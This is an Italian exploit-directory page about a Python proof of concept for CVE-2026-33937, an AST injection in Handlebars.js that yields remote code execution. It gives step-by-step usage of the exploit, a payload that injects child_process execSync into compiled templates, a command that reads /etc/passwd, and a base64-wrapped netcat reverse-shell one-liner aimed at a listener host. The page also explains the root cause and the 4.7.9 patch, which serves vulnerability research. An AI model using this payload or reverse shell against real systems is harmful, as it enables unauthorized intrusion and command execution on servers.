Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-33937 — Python POC, Exploit per Handlebars.js AST Injection RCE, le versioni di Handlebars.js dalla 4.0.0 alla 4.7.8 sono interessate. Punteggio CVSS: 9.8 Critico. | Kitploit
Strumenti/GitHubGitHub/c0gnit00/cve-2026-33937
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneSviluppo Payload
GitHubc0gnit00/cve-2026-33937

CVE-2026-33937

Python POC, Exploit per Handlebars.js AST Injection RCE, le versioni di Handlebars.js dalla 4.0.0 alla 4.7.8 sono interessate. Punteggio CVSS: 9.8 Critico.

Vedi Repository
118 giorni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33937 — Iniezione AST in Handlebars.js e RCE

Le versioni di Handlebars.js dalla 4.0.0 alla 4.7.8 sono interessate. Punteggio CVSS: 9.8 Critico.


Panoramica

CVE-2026-33937 è una vulnerabilità di confusione di tipo in Handlebars.js. La funzione Handlebars.compile() accetta sia una stringa di template che un oggetto AST pre-analizzato come input. Quando un attaccante passa un oggetto AST appositamente creato, il visitor NumberLiteral del compilatore inserisce il campo value del nodo testualmente nel corpo della funzione JavaScript generata senza alcuna sanificazione. Chiamare render() sul risultato esegue codice controllato dall'attaccante all'interno del processo Node.js.


Utilizzo

root@kitploit:~
python3 exploit.py --url <target>  --username <email> --password <pass> --command  <cmd>

Argomenti

  • --url — URL di base del target, es. http://hello.veer/ (obbligatorio)
  • --username — Indirizzo email di accesso (obbligatorio)
  • --password — Password di accesso (obbligatorio)
  • --command — Comando del sistema operativo da eseguire, il default è id (opzionale)

Esempi

root@kitploit:~
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id

# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'

# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0

python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload>  | base64 -d | bash'

Come funziona

Passo 1 — Autenticazione

Lo script esegue un login completo prima dello sfruttamento. Prima invia una richiesta GET a /login per estrarre il token _csrf nascosto dal form, poi invia quel token insieme all'email e alla password fornite come POST form-encoded a /login. In caso di successo, il server restituisce un redirect 302 a /dashboard e imposta il cookie di sessione dz.sid che viene utilizzato per tutte le richieste successive.

Un nuovo token CSRF viene recuperato automaticamente prima di ogni richiesta POST, poiché il middleware CSRF dell'app lo richiede per ogni operazione di modifica.

Passo 2 — Punto di iniezione

L'applicazione espone POST /character che accetta Content-Type: application/json. Questa rotta crea un nuovo personaggio D&D e, quando viene fornito campaign_id, passa il campo campaign_message direttamente a Handlebars.compile() sul server:

root@kitploit:~
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message);  // no type check
const output = render({ name, race, class });          // payload executes here
// output is stored as a campaign log entry

Quando il corpo della richiesta è JSON, campaign_message può essere un oggetto annidato (l'AST) invece di una stringa, bypassando qualsiasi validazione stringa a livello di form. Il campo campaign_id fa sì che il server memorizzi il risultato renderizzato come messaggio di log della campagna, leggibile poi all'indirizzo GET /campaign/1 — fornendo all'attaccante un output dei comandi out-of-band.

Passo 3 — Payload AST

L'exploit usa il NumberLiteral combinato con l'helper lookup.

La compilazione normale di {{lookup this 1}} produce:

root@kitploit:~
env.helpers.lookup(this, 1, {options})

Il NumberLiteral.value iniettato sostituisce il 1 con:

root@kitploit:~
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //

Il JavaScript generato diventa:

root@kitploit:~
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>

Quando viene chiamato render(), execSync() viene eseguito e il suo stdout viene restituito come valore dell'espressione, che viene memorizzato come messaggio della campagna.

I comandi vengono internamente incapsulati come /bin/sh -c 'cmd 2>&1' così che i comandi con spazi, pipe e reindirizzamenti funzionino correttamente e stderr venga catturato insieme a stdout.

Passo 4 — Estrazione dell'output

Lo script registra il numero di messaggi della campagna prima di inviare il payload. Dopo la POST recupera nuovamente /campaign/1 e usa messages[before_count:] per isolare la voce appena aggiunta. Questo approccio gestisce correttamente i casi in cui lo stesso comando è già stato eseguito in precedenza, poiché un confronto basato su set deduplicherebbe output identici e non rileverebbe il nuovo risultato.


Causa radice tecnica

All'interno di javascript-compiler.js di Handlebars.js, il codice vulnerabile è:

root@kitploit:~
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
    this.pushStackLiteral(number.value);  // value inserted verbatim, no type check
}

La versione 4.7.9 aggiunge un controllo di tipo nel punto di ingresso di compile() che rifiuta qualsiasi input non stringa prima che il generatore di codice venga mai raggiunto:

root@kitploit:~
// Patched in 4.7.9
if (typeof input !== 'string') {
    throw new Handlebars.Exception(
        'You must pass a string or Handlebars AST to Handlebars.compile.'
    );
}

Riferimenti

  • CVE-2026-33937 PoC di dinhvaren: https://github.com/dinhvaren/cve-2026-33937
  • Handlebars.js: https://handlebarsjs.com
  • Handlebars GitHub: https://github.com/handlebars-lang/handlebars.js

Disclaimer

Questo repository è destinato esclusivamente alla ricerca e all'educazione sulla sicurezza. Utilizza questo exploit solo contro sistemi che possiedi o per cui hai esplicita autorizzazione scritta a testare.

Scarica lo strumento